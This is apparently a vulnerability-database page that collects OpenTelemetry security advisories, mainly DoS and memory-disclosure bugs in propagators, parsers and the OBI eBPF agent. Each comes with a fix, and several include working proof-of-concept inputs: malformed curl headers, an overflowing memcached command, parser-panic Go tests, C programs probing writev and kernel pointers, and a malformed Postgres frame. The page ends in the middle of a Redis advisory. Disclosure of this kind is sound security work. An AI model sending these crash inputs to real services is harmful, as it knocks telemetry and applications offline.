See how opentelemetry compares to other vendors in security performance
Summary
@opentelemetry/propagator-jaeger decodes incoming HTTP header values with decodeURIComponent() without handling decode errors. A single request carrying a malformed percent-encoded value (for example a bare %) in an uber-trace-id or uberctx- header throws an uncaught URIError, terminating any Node.js process that uses JaegerPropagator as its active propagator.
Impact
Denial of Service: Any unauthenticated remote attacker who can send an HTTP request to a service that has JaegerPropagator registered as the global propagator (e.g. via OTELPROPAGATORS=jaeger or propagation.setGlobalPropagator(new JaegerPropagator())) can terminate the process with a single request. Confidentiality and integrity are not affected.
Am I affected?
This issue affects only a specific, opt-in configuration. If you use OpenTelemetry's default propagators (W3C TraceContext and Baggage), you are not affected.
You are affected only if you have registered JaegerPropagator as the active propagator. Check for:
- @opentelemetry/propagator-jaeger in your dependency tree, and - OTELPROPAGATORS set to jaeger (Jaeger only), or a direct propagation.setGlobalPropagator(new JaegerPropagator()) call in your code.
Note: if JaegerPropagator is combined with other propagators through a CompositePropagator (for example OTELPROPAGATORS=jaeger,tracecontext), the process does not terminate - the composite propagator catches the error - but affected requests silently fail to extract context. You should still upgrade.
Patched versions
- @opentelemetry/propagator-jaeger 2.9.0
Remediation
Update @opentelemetry/propagator-jaeger to 2.9.0 or later. The propagator now ignores header values it cannot decode instead of throwing.
Interim mitigation (if you cannot update): Trace-context headers should never be accepted unfiltered from untrusted callers. Until you can upgrade, strip or validate the uber-trace-id and uberctx- headers on inbound requests at your edge - for example with a reverse proxy, API gateway, or load balancer (nginx, Envoy, etc.) - so that only trusted upstream services can set them.
Details
JaegerPropagator.extract() calls decodeURIComponent() on raw header values at two unguarded call sites: the uber-trace-id trace header and each uberctx- baggage value. decodeURIComponent() throws URIError: URI malformed on invalid percent-encoding. Because the HTTP instrumentation extracts context before its request-handler error wrapper, and a single configured propagator is not wrapped in a CompositePropagator (which would otherwise catch the error), the exception propagates as an uncaughtException and terminates the process.
Proof of concept
Against a service using JaegerPropagator:
bash curl -H 'uberctx-user: %' http://target/ or curl -H 'uber-trace-id: %' http://target/
The Node.js process exits with URIError: URI malformed and subsequent requests are refused.
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.27.0, the RMI context propagation payload reader limits the number of context entries but does not limit the aggregate size of the strings read from the stream. An attacker who can reach an RMI endpoint on an instrumented JVM can send an oversized context propagation payload. This can cause excessive memory allocation while the JVM reads the payload, potentially leading to denial of service. The issue affects only deployments where RMI instrumentation is enabled and an RMI endpoint is network-reachable. This issue has been fixed in version 2.27.0.
OpenTelemetry Java Instrumentation JDBC auto-instrumentation may fail to sanitize passwords in SQL CONNECT statements when the password is double-quoted. As a result, clear-text database passwords can be added to trace span attributes and exported to observability backends.
Overview
W3CBaggagePropagator.extract() in @opentelemetry/core does not enforce size limits when parsing inbound baggage HTTP headers. The W3C Baggage specification recommends a maximum of 8,192 bytes and 180 entries; these limits were only enforced on the outbound (inject()) path, not on the inbound (extract()) path. Parsing oversized baggage causes memory allocation proportional to the header size without any cap.
Impact
The practical availability impact for most Node.js deployments is limited. Node.js enforces a default --max-http-header-size of 16,384 bytes on the total combined size of all HTTP headers, constraining what an external attacker can deliver before the propagator is reached. Additionally, the header is already in memory (parsed by the HTTP layer) by the time it reaches the propagator - the additional allocation is the overhead of splitting into entry objects, not an unbounded read.
The risk is higher when transport-layer limits are absent - e.g., non-HTTP transports (messaging systems, custom TextMapGetter implementations) or deployments that have raised --max-http-header-size.
Remediation
Update @opentelemetry/core to version 2.8.0 or later. The fix enforces limits consistent with the W3C Baggage specification at the propagator level:
- Maximum total baggage size: 8,192 bytes - Maximum number of entries: 180 - Maximum per-entry size: 4,096 bytes
Headers that exceed these limits are truncated at the point the limit is reached.
Workarounds
Ensure header size limits are configured at the server or gateway level. The default Node.js HTTP header limit (16 KB) mitigates external attack vectors independently of this fix. For non-HTTP transports receiving baggage from untrusted sources, validate input size before passing it to the propagator.
References
- W3C Baggage Specification - Limits - opentelemetry-java: GHSA-rcgg-9c38-7xpx - opentelemetry-go: GHSA-mh2q-q3fh-2475
Credit
Reported by tonghuaroot.
OpenTelemetry-cpp is the C++ implementation of OpenTelemetry. Prior to release 1.27.0, the OTLP HTTP exporters (traces/metrics/logs) read the full HTTP response into an in-memory vector of bytes without a size cap. This is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can MITM the exporter connection). This vulnerability is fixed in opentelemetry-cpp release 1.27.0.
Summary
go.opentelemetry.io/otel/schema/v1.0 and go.opentelemetry.io/otel/schema/v1.1 leaks one file descriptor on each successful ParseFile call. ParseFile opens the schema file and passes it to Parse without closing it; repeated parsing in a long-running process can exhaust the process file descriptor limit and cause denial of service. The severity is low because exploitation depends on a consuming application exposing repeated schema parsing to an attacker-controlled path.
Introduced in commit: e72a235
Details
In schema/v1.0/parser.go:41-47, ParseFile opens the requested schema path with os.Open and then returns Parse(file) without a defer file.Close() or other close path:
go file, err := os.Open(schemaFilePath) if err != nil { return nil, err } return Parse(file)
The validation evidence also identifies schema/v1.0/parser.go:50-73: Parse accepts an io.Reader, decodes from it, and does not close it. Ownership of the opened file is therefore not transferred to Parse, leaving the descriptor open until the Go runtime eventually finalizes the file object. With repeated ParseFile calls, descriptors can accumulate until the process receives EMFILE / "too many open files".
PoC
validation-artifact.zip
The local artifact validation-artifact.zip contains:
- leakpoc.go: PoC source that repeatedly calls schema.ParseFile("schema/v1.0/testdata/valid-example.yaml") and prints /proc/self/fd counts. - LEAKPOCREADME.txt: reproduction notes. - leakpocrun.log: captured attempted run; the local offline environment failed before execution because Go module download from proxy.golang.org was forbidden.
Reproduce from the root of a checkout of pellared/opentelemetry-go at commit e72a235 with Go module dependencies already available:
sh /bin/sh -c 'ulimit -n 256; GOGC=off go run leakpoc.go'
Configuration:
- File descriptor soft limit: 256 - Garbage collection: disabled with GOGC=off so leaked descriptors are not reclaimed during the loop - Schema file: schema/v1.0/testdata/valid-example.yaml
Expected output is increasing descriptor counts followed by an EMFILE failure, for example:
text iter 0 fds 7 iter 50 fds 57 iter 100 fds 107 ... panic: iteration 248: open schema/v1.0/testdata/valid-example.yaml: too many open files
The exact initial descriptor count and failing iteration can vary by OS and process state.
Impact
This is a file descriptor resource leak leading to availability loss. Applications that call schema.ParseFile repeatedly, especially through a runtime reload or request-controlled path, can exhaust their process file descriptor table and fail subsequent file, socket, or other descriptor operations. Impact is limited to denial of service of the consuming process; the evidence does not show confidentiality or integrity impact.
Summary
https://github.com/open-telemetry/opentelemetry-go/pull/7880 removed raw-length rejection and it causes Parse to process arbitrarily large/invalid baggage headers and log errors, enabling DoS via oversized inputs.
Details
The commit removes the upfront baggage-string length check and the per-member size guard in parsing. Parse now walks the entire input with strings.SplitSeq and skips invalid members while continuing to process the rest. For very large or malformed baggage headers, the parser still fully tokenizes and percent-decodes each member, and errors are forwarded to the global error handler (default logging). This lets a remote client send oversized/invalid headers to trigger excessive CPU/memory work and potentially large log output before any size limit is enforced, creating a denial-of-service risk in services that do not already enforce strict header size limits.
Summary: - In baggage/baggage.go, parseMember performs full parsing and PathUnescape on the entire member without any size guard, amplifying work for large inputs. Parse no longer checks bStr length and continues processing invalid members, so oversized/invalid headers are fully parsed instead of being rejected early. - In propagation/baggage.go, parsing errors from attacker-controlled headers are sent to the global error handler (default logging), which can amplify oversized-input impact.
PoC
baggagedospoc.tar.gz
Impact
The issue is reachable through standard propagation parsing (in-scope) and can be exploited remotely to cause CPU/log amplification, but the impact is availability-only and bounded by transport header limits and configurable error handling, supporting a medium severity rather than high/critical.
baggage.Parse iterates over all list members with strings.SplitSeq and skips invalid members while continuing, without a raw-length guard. parseMember performs full parsing and PathUnescape on each member, and propagation.Baggage forwards parsing errors to the global error handler, which logs by default. A remote client can therefore send oversized/invalid baggage headers that bypass the 8KB limit for valid members, causing extra CPU work and large log output, resulting in availability/log amplification in services that accept large headers and use the default handler.
Assumptions:
- An instrumented service uses the OpenTelemetry baggage propagator for inbound request parsing. - Attackers can send oversized or malformed baggage headers that pass the hosting server/proxy header size limits. - The default error handler is used or logs are otherwise emitted for parse errors. - Inbound request parsing with propagation.Baggage - Oversized/invalid baggage headers accepted by the HTTP/gRPC stack - Error handler not suppressing parse errors
opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.62.0, a vulnerability affects the baggage propagation implementation in opentelemetry-api and opentelemetry-extension-trace-propagators. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. This vulnerability is fixed in 1.62.0.
Summary
A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek.
Details
The issue is in the memcached request parser at pkg/ebpf/common/memcacheddetecttransform.go.
memcachedCommandBytesField parses the storage command <bytes> field with strconv.Atoi and only rejects negative values:
go size, err := strconv.Atoi(string(fields[4])) if err != nil || size < 0 { return 0, false }
Because there is no upper bound check, values up to math.MaxInt are accepted.
memcachedConsumeStoragePayload then computes the payload length by adding the trailing \r\n delimiter length:
go payloadLen := bytesField + len(memcachedDelimBytes) payload, err := r.Peek(payloadLen)
If bytesField is math.MaxInt or math.MaxInt-1, this addition overflows the signed int and produces a negative payloadLen.
That negative length is passed into LargeBufferReader.Peek in pkg/internal/largebuf/largebuffer.go. Peek checks whether n > Remaining() but does not reject negative values before slicing:
go if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) { return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil }
With a negative n, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.
Affected logic identified by the scan:
- pkg/ebpf/common/memcacheddetecttransform.go:322 - pkg/ebpf/common/memcacheddetecttransform.go:386 - pkg/internal/largebuf/largebuffer.go:501
PoC
The repository already contains a runnable memcached fixture under internal/test/oats/memcached/. The steps below reproduce the crash using only files from this repository.
1. From the repository root, start the checked-in memcached environment:
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ up --build
This starts:
- memcached on port 11211 - testserver, the Python app in internal/test/integration/components/pythonmemcached/main.py - autoinstrumenter, the OBI process launched with --config=/configs/instrumenter-config-traces.yml
The relevant repo-local files are:
- internal/test/oats/memcached/docker-compose-obi-python-memcached.yml - internal/test/oats/memcached/configs/instrumenter-config-traces.yml
2. In a second shell, confirm the environment is working:
bash curl http://127.0.0.1:8080/memcached
3. From the same repository root, send a crafted memcached storage command from inside the instrumented testserver container. On 64-bit systems, use 9223372036854775807 (math.MaxInt):
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ exec testserver \ python -c 'import socket; s=socket.createconnection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'
On 32-bit systems, replace 9223372036854775807 with 2147483647.
4. OBI parses the request header, accepts the <bytes> field as an int, and computes:
go payloadLen = bytesField + len("\r\n")
5. That addition overflows negative and the negative payloadLen is passed to LargeBufferReader.Peek, which slices with an invalid bound and panics.
6. Confirm the crash by checking the autoinstrumenter container status or logs:
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ ps autoinstrumenter
bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ logs autoinstrumenter
The expected result is that the OBI process crashes with a panic originating from LargeBufferReader.Peek, with the call path including memcachedConsumeStoragePayload.
Impact
This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.
Impacted deployments are those where:
- OBI is running with the vulnerable memcached parser, and - OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.
A successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.
Summary
Malformed MongoDB wire messages can trigger uncaught panics in the MongoDB TCP parser, allowing a remote unauthenticated attacker to crash the telemetry agent and cause a denial of service. The parser operates on raw attacker-controlled network payloads before the input is fully validated, so a single crafted message can terminate telemetry collection for the affected process or node.
Details
MongoDB parsing support was introduced by commit 2070f568a (Add Initial support for mongodb), so the explicit released version minimum affected is v0.1.0.
There are two related panic conditions in released go.opentelemetry.io/obi versions:
- In v0.1.0 through v0.3.0, parseOpMessage reads OPMSG flag bits from buf[msgHeaderSize:msgHeaderSize+int32Size] without first ensuring the buffer is at least msgHeaderSize + int32Size bytes long. A truncated OPMSG packet can therefore trigger a slice-bounds panic before the parser returns an error. - In v0.1.0 through v0.3.0, parseSections consumes the section type byte and then reads the document-sequence length from buf[offSet:offSet+int32Size] without re-validating that enough bytes remain after the type byte. A malformed document-sequence section can therefore trigger another slice-bounds panic. - In v0.1.0 through v0.8.0, parseFirstField assumes the collection name for collection-scoped commands is always a string and performs an unchecked type assertion on field.Value. A malformed BSON document can therefore trigger a runtime panic with interface conversion instead of returning a parse error.
The bounds-check panic was fixed by commit 3aa58cdaaa97fbb72f8ef4c3609ae425aacaf8bb (Fix MongoDB client panic), which first appears in release v0.4.0. The unchecked BSON type assertion is still present in v0.8.0.
Because this code runs while decoding attacker-controlled MongoDB traffic, the failure mode is process termination rather than graceful rejection of invalid input. In deployments where the telemetry agent monitors traffic from untrusted or partially trusted clients, a single malformed packet can terminate collection until the agent is restarted.
Affected code paths are in pkg/ebpf/common/mongodetecttransform.go and correspond to parseOpMessage, parseSections, and parseFirstField.
PoC
The following reproductions are fully self-contained. They create a temporary test file inside an affected checkout and then run go test against the real parser code in the repository.
1. Reproduce the v0.1.0 through v0.3.0 bounds-check panics:
bash git clone https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation.git obi-poc cd obi-poc git checkout v0.3.0
cat > pkg/ebpf/common/mongosecuritypoctest.go <<'EOF' package ebpfcommon
import "testing"
func TestSecurityPoCParseOpMessageShortPanics(t testing.T) { parseOpMessage(make([]byte, 16), 0, false, nil) }
func TestSecurityPoCParseSectionsShortDocSequencePanics(t testing.T) { parseSections([]byte{byte(sectionTypeDocumentSequence), 0x01, 0x02, 0x03}) } EOF
go test ./pkg/ebpf/common -run 'TestSecurityPoCParseOpMessageShortPanics|TestSecurityPoCParseSectionsShortDocSequencePanics' -count=1
Expected result:
- TestSecurityPoCParseOpMessageShortPanics panics with a message similar to slice bounds out of range [:20] with capacity 16 - TestSecurityPoCParseSectionsShortDocSequencePanics panics with a message similar to slice bounds out of range [:5] with capacity 4
1. Reproduce the v0.1.0 through v0.8.0 unchecked BSON type-assertion panic:
bash git clone https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation.git obi-poc cd obi-poc git checkout v0.8.0
cat > pkg/ebpf/common/mongosecuritypoctest.go <<'EOF' package ebpfcommon
import ( "testing"
"go.mongodb.org/mongo-driver/v2/bson" )
func TestSecurityPoCParseFirstFieldTypeAssertionPanics(t testing.T) { parseFirstField(bson.E{Key: commFind, Value: int32(123)}) } EOF
go test ./pkg/ebpf/common -run TestSecurityPoCParseFirstFieldTypeAssertionPanics -count=1
Expected result: panic with a message similar to interface conversion: interface {} is int32, not string.
Impact
This is a remote denial-of-service vulnerability in the MongoDB protocol parser. Any deployment that enables MongoDB parsing and processes attacker-controlled or malformed MongoDB traffic is impacted. Successful exploitation lets an unauthenticated attacker crash the telemetry agent by sending a crafted OPMSG packet or malformed BSON document, causing loss of observability until the process is restarted.
Summary
OBI's log enricher mishandles writev buffers by reading only the first iovec entry but using the total ioviter.count as the copy length. When log injection is enabled, a crafted multi-segment writev call can make OBI read and overwrite memory beyond the first segment.
Details
In bpf/logenricher/logenricher.c#L50, filliov resolves only one struct iovec, specifically iovctx.iov[0] for ITERIOVEC. The returned iov therefore describes only the first write segment.
However, write later uses const sizet count = BPFCOREREAD(from, count);, which is the total byte count across all segments in the iterator. That total is stored in e->len and used in bpfprobereaduser(e->log, e->len, iov.iovbase) and bpfprobewriteuser(iov.iovbase, zero, towrite).
If count exceeds iov.iovlen, OBI reads and then zeroes memory past the end of the first segment. In practice, this can corrupt adjacent application buffers, leak memory into log events, and in some layouts destabilize the instrumented process.
PoC
Local testing with a minimal ASan harness reproduced the same out-of-bounds read/write condition as the vulnerable writev path.
Use a vulnerable build with the log enricher enabled.
bash git checkout v0.7.0 make build
Create a program that performs a two-element writev, where the first buffer is short and the second is large:
c // save as /tmp/writev-poc.c #define GNUSOURCE #include <sys/uio.h> #include <unistd.h> #include <string.h>
int main(void) { char a[8] = "HELLO\n"; char b[256]; memset(b, 'B', sizeof(b));
struct iovec iov[2]; iov[0].iovbase = a; iov[0].iovlen = sizeof(a); iov[1].iovbase = b; iov[1].iovlen = sizeof(b);
for (;;) { writev(1, iov, 2); usleep(10000); } }
Compile and run it:
bash cc -O2 -o /tmp/writev-poc /tmp/writev-poc.c /tmp/writev-poc >/dev/null
Attach OBI with log enrichment enabled to the running process:
bash PID=$(pgrep -f /tmp/writev-poc) sudo ./bin/obi --pid "$PID"
On a vulnerable build, OBI copies ioviter.count bytes starting from iov[0].iovbase, even though iov[0] is only 8 bytes long. Depending on allocator layout, you will see one of the following:
1. log events that include bytes beyond HELLO\n 2. corrupted stdout content because OBI zeroed memory beyond the first iovec 3. process instability or a crash
The issue is easiest to observe under a debugger or with ASan-enabled builds of the target program, but those are not required.
Impact
This is a memory safety flaw in the log-enrichment eBPF path. It affects deployments that enable log injection and instrument applications that write logs through writev. An attacker who can trigger the vulnerable local writev pattern inside the instrumented process can cause memory corruption or disclosure in that process. The most direct effects are corrupted output and adjacent-memory disclosure, with process instability possible if the overwrite lands on sensitive state.
Summary
The custom CappedConcurrentHashMap introduced for Java TLS state tracking never removes keys from its insertion-order queue when entries are deleted. In long-running instrumented JVMs, repeated connection churn can therefore grow the queue without bound and exhaust heap memory.
Details
The vulnerable implementation is in pkg/internal/java/agent/src/main/java/io/opentelemetry/obi/java/instrumentations/util/CappedConcurrentHashMap.java#L11. New keys are appended to a ConcurrentLinkedQueue, and eviction only runs inside put() when map.size() > capacity.
The remove() method removes the key from the ConcurrentHashMap but leaves the key in the queue. Because evictIfNeeded() only checks map.size() > capacity, the queue can grow forever in workloads that insert and remove keys while keeping the live map below the cap.
This pattern is reachable from pkg/internal/java/agent/src/main/java/io/opentelemetry/obi/java/instrumentations/data/SSLStorage.java#L66, where cleanupConnectionBufMapping removes entries from bufConn and activeConnections, and removeBufferMapping removes entries from bufToBuf. In normal TLS connection lifecycles, those removals happen frequently.
PoC
Local testing with a small Java reproducer showed queue growth continuing after removals and eventually reached OutOfMemoryError, which matches the code-level leak mechanism described above.
Use a vulnerable Java agent build from v0.0.0-rc.2+build.2 or any later release that still contains the change. Start any JVM process instrumented with OBI's Java TLS support, then generate a large number of short-lived TLS handshakes.
One local reproducer is:
bash git checkout v0.0.0-rc.2+build.2 make build
Start a simple TLS server:
bash openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/key.pem -out /tmp/cert.pem -subj '/CN=localhost' -days 1 openssl sserver -accept 9443 -key /tmp/key.pem -cert /tmp/cert.pem -quiet
Run an instrumented JVM client that repeatedly opens and closes TLS connections:
java // save as /tmp/TLSChurn.java import javax.net.ssl.; import java.net.Socket;
public class TLSChurn { public static void main(String[] args) throws Exception { SSLContext ctx = SSLContext.getInstance("TLS"); ctx.init(null, new TrustManager[]{new X509TrustManager() { public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; } public void checkClientTrusted(java.security.cert.X509Certificate[] c, String a) {} public void checkServerTrusted(java.security.cert.X509Certificate[] c, String a) {} }}, new java.security.SecureRandom());
SSLSocketFactory f = ctx.getSocketFactory(); for (;;) { try (Socket s = f.createSocket("127.0.0.1", 9443)) { s.getOutputStream().write("x".getBytes()); } catch (Exception ignored) {} } } }
Compile and run:
bash javac /tmp/TLSChurn.java java TLSChurn
Attach the vulnerable OBI Java instrumentation to the JVM. Over time, heap usage in the OBI Java agent process grows even though live connection counts remain bounded. A heap dump will show large retention from ConcurrentLinkedQueue nodes owned by CappedConcurrentHashMap.
Impact
This issue causes an availability loss in instrumented Java workloads that use OBI's TLS instrumentation. Repeated connection setup and teardown can grow the retained queue until the Java helper experiences long GC pauses or exhausts heap memory with OutOfMemoryError.
Summary
The Java TLS ioctl probe reads user-controlled ioctl pointers with bpfproberead instead of bpfprobereaduser. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.
Details
The vulnerable path is in bpf/generictracer/javatls.c. The kprobe hooks dovfsioctl, filters on fd == 0 and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using bpfproberead, including:
- the operation byte from arg - connection metadata from arg + 1 - the payload length from arg + 1 + sizeof(connectioninfot)
If len > 0, it computes buf = arg + 1 + sizeof(connectioninfot) + sizeof(u32) and passes that pointer into handlebufwithconnection.
The next stage, bpf/generictracer/ktracerdefs.h, uses bpfproberead(args->smallbuf, MINHTTP2SIZE, (void )args->ubuf); on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from ubuf and emits the bytes through bpfringbufoutput in bpf/generictracer/protocolhttp.h.
Because the ioctl pointer originates in user space, the probe should be using bpfprobereaduser with strict length validation. Using bpfproberead instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.
PoC
A complete lab reproduction requires:
1. a vulnerable build of OBI with Java TLS instrumentation enabled 2. a host capable of loading the BPF program 3. a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer
Suggested reproduction steps:
bash git checkout v0.0.0-rc.1+build make build sudo ./bin/obi
Then run a local helper that issues the matching ioctl command against fd=0 and supplies a crafted pointer.
c // save as /tmp/ioctlkernelptr.c #include <stdio.h> #include <stdint.h> #include <sys/ioctl.h> #include <unistd.h>
#define JAVATLSMAGIC 0x0b10b1
int main(void) { void ptr = (void )0xffff888000000000ULL; long rc = ioctl(0, JAVATLSMAGIC, ptr); printf("ioctl rc=%ld\n", rc); return 0; }
Compile and run:
bash cc -O2 -o /tmp/ioctlkernelptr /tmp/ioctlkernelptr.c /tmp/ioctlkernelptr
On a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.
Impact
This is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.
Summary
The per-CPU message-buffer fallback path uses a 256-byte backup buffer but preserves the original payload size, which can be up to 8KB. If a CPU mismatch occurs, OBI can read beyond the fallback buffer and leak adjacent memory into telemetry.
Details
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/common/httpbufsize.h#L4-L7
kkprobeshttp2bufsize is defined as 256 bytes, the size of the fallback buffer.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/common/msgbuffer.h#L12-L36
Introduces 8KB per-CPU buffer and 256-byte fallbackbuf in msgbuffert, creating a size mismatch for fallback use.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/generictracer/ktracer.c#L370-L394
On CPU mismatch, fallbackbuf is used but size is still set to mbuf->realsize (up to 8KB) and passed downstream.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/generictracer/protocolhttp.h#L412-L441
byteslen (from mbuf->realsize) is used to read payload data from ubuf; if ubuf is the 256B fallback, this can over-read and leak memory into telemetry.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/032473449b53d9f02ec4619d4f5b84e6a81db362/bpf/tpinjector/tpinjector.c#L192-L206
realsize is set up to 8192 bytes and stored with cpuid; fallbackbuf only contains 256 bytes.
PoC
Local testing with an AddressSanitizer user-space PoC reproduced the same class of size-mismatch over-read as the vulnerable fallback-buffer path. That result is sufficient to ground the advisory in a fresh local reproduction even though the exact end-to-end eBPF path still depends on host BPF capabilities.
To reproduce the validated behavior locally:
1. create a struct that models fallbackbuf[256] and realsize 2. populate only the 256-byte fallback buffer 3. simulate the CPU mismatch path by using the fallback buffer as the source pointer while preserving a much larger realsize 4. perform a read of realsize bytes from that 256-byte backing store under ASan
An equivalent reproducer is:
c // save as /tmp/pocmsgbufoob.c #include <stdint.h> #include <stdio.h> #include <string.h>
struct msgbuffer { unsigned char fallbackbuf[256]; uint16t pos; uint16t realsize; uint32t cpuid; };
int main(void) { struct msgbuffer m = {0}; unsigned char sink[8192];
memset(m.fallbackbuf, 'A', sizeof(m.fallbackbuf)); m.realsize = 4096;
memcpy(sink, m.fallbackbuf, m.realsize); printf("copied %u bytes from a 256-byte fallback buffer\n", m.realsize); return 0; }
Compile and run with ASan:
bash cc -fsanitize=address -O1 -g -o /tmp/pocmsgbufoob /tmp/pocmsgbufoob.c ASANOPTIONS=abortonerror=1 /tmp/pocmsgbufoob
Expected result:
text AddressSanitizer: heap-buffer-overflow or stack-buffer-overflow
That user-space PoC matches the size-mismatch condition in the vulnerable code path, even though the exact end-to-end eBPF runtime path still requires host BPF attach/load capability.
Impact
This is a confidentiality issue in the HTTP tracing path. The vulnerable read occurs in OBI's local fallback-buffer handling when context propagation is enabled, the tpinjector sockmsg path is active, HTTP large-buffer capture is configured with a non-zero size, and a CPU mismatch occurs between producer and consumer contexts. Under those conditions, OBI can over-read from the fallback buffer and export unrelated memory through telemetry.
Summary
OBI replays BPF probe hits into histogram observations by looping once per recorded run count. On busy systems, the run-count delta can become very large, causing the metrics exporter to spend excessive CPU time in a tight loop every collection interval.
Details
The vulnerable loop is in pkg/export/prom/prombpf.go. During each metrics tick, OBI iterates through probeMetrics and then executes for range metric.count, invoking BpfProbeLatency(...) for each individual recorded hit.
The count comes from calculateStats() in the same file, where deltaCount := bp.runCount - bp.prevRunCount is calculated and returned without any cap before the per-hit replay loop.
If probe activity spikes between scrape intervals, deltaCount can be very large. The exporter then spends CPU time proportional to the number of probe hits rather than the number of metric series.
PoC
Local testing with a small reproducer confirmed the replay-loop behavior and showed CPU scaling with the recorded hit count rather than the number of metric series.
Use a vulnerable build and enable internal metrics export:
bash git checkout v0.0.0-rc.1+build make build export OTELEBPFINTERNALMETRICSPROMETHEUSPORT=9090 sudo ./bin/obi
Create a high-rate workload that repeatedly exercises traced probes. For example, generate HTTP traffic against an instrumented service:
bash python3 -m http.server 18081
Then drive it:
bash seq 1 500000 | xargs -P 128 -I{} curl -s http://127.0.0.1:18081 >/dev/null
At the same time, scrape metrics repeatedly:
bash while true; do curl -s http://127.0.0.1:9090/metrics >/dev/null; done
On a vulnerable build, OBI CPU consumption rises sharply during the metrics loop because histogram updates are replayed once per counted probe execution. The effect is visible in top or pidstat and is most pronounced under sustained high request volume.
Impact
This is an availability issue in the internal metrics path. Any deployment that enables BPF internal metrics and traces busy workloads is affected. Attackers can indirectly consume CPU in the privileged agent by driving enough activity through instrumented services.
Summary
The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.
Details
The vulnerable logic is in pkg/ebpf/common/sqldetectpostgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.
There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.
PoC
Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Start a local Postgres instance and OBI:
bash docker run --rm -e POSTGRESPASSWORD=postgres -p 5432:5432 postgres:17 sudo ./bin/obi
Send a malformed BIND frame with an empty payload:
python save as /tmp/pg-bind-poc.py import socket, struct
tag = b'B' length = struct.pack(">I", 4) payload = b""
s = socket.createconnection(("127.0.0.1", 5432)) s.sendall(tag + length + payload) s.close()
Run it:
bash python3 /tmp/pg-bind-poc.py
On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.
Impact
This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.
Summary
OBI exports raw Redis error text as the span status message. Because Redis error replies can contain attacker-controlled or sensitive values, this behavior can exfiltrate tokens, PII, or other confidential input into telemetry backends and inject untrusted text into downstream analysis systems.
Details
In pkg/ebpf/common/redisdetecttransform.go, getRedisError trims the raw error buffer and stores it directly in request.DBError.Description.
Later, pkg/appolly/app/request/span.go returns that description as the exported status message for Redis spans whenever the span status is non-zero.
There is no opt-in control or sanitization beyond CRLF trimming. As a result, raw Redis error text becomes part of OTLP-exported status metadata by default.
PoC
Local request-layer testing recorded a status message containing ERR invalid password for user bob secret=TOPSECRET, which shows that unfiltered Redis error text reaches the exported status message.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Start Redis and OBI:
